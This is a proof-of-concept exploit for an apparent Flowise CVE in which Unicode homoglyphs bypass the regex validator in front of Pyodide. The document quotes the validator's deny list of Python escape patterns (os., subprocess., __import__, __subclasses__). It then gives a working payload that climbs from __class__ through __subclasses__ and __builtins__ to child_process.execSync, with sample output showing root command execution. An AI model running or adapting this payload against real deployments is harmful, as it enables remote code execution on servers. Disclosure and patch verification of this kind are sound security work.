CVE-2026-70470: Flowise Pyodide Validator Unicode Homoglyph Bypass RCE

// Run with: npm install pyodide && node poc.js
// Mirrors the exact validator + pyodide.runPythonAsync path in CSVAgent.ts / AirtableAgent.ts

const { loadPyodide } = require('pyodide')

const FORBIDDEN_PATTERNS = [
  { pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g },
  { pattern: /\beval\s*\(/g },             { pattern: /\bexec\s*\(/g },
  { pattern: /\bcompile\s*\(/g },          { pattern: /\b__import__\s*\(/g },
  { pattern: /\bopen\s*\(/g },             { pattern: /\bgetattr\s*\(/g },
  { pattern: /\bos\./g },                  { pattern: /\bsubprocess\./g },
  { pattern: /\bsys\./g },                 { pattern: /\bsocket\./g },
  { pattern: /\burllib\./g },              { pattern: /\brequests\./g },
  { pattern: /\b__builtins__\b/g },        { pattern: /\b__class__\b/g },
  { pattern: /\b__subclasses__\s*\(/g },  { pattern: /\b__bases__\b/g },
  { pattern: /\b__mro__\b/g },             { pattern: /\b__globals__\b/g },
  { pattern: /\b__code__\b/g },            { pattern: /\b__dict__\b/g },
]
const validate = (code) =>
  FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })

// Unicode homoglyph payload:
// U+1D41A = mathematical bold small 'a'  -> NFKC -> 'a'
// U+1D42E = mathematical bold small 'u'  -> NFKC -> 'u'
// JS regex \b does NOT match at the boundary before/after these code points,
// so all blacklist patterns miss. Python NFKC-normalizes them back to ASCII at parse time.
const payload = `
cls = ().__cl\u{1D41A}ss__
base = cls.__b\u{1D41A}se__
subs = base.__subcl\u{1D41A}sses__()
for c in subs:
    if c.__name__ == 'catch_warnings':
        cw = c()
        bi = cw._module.__b\u{1D42E}iltins__
        imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2
        imp = bi[imp_name]
        js_mod = imp(chr(106)+chr(115))
        cp_name = 'child' + chr(95) + 'process'
        cp = js_mod.process.mainModule.require(cp_name)
        opts = js_mod.Object.new(); opts.encoding = 'utf8'
        result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)
        break
str(result)
`

;(async () => {
  console.log('validator passes:', validate(payload))   // true
  const py = await loadPyodide()
  console.log(await py.runPythonAsync(payload))
  // uid=0(root) gid=0(root) groups=0(root)
  // <hostname>
  // FLOWISE_RCE_CONFIRMED
})()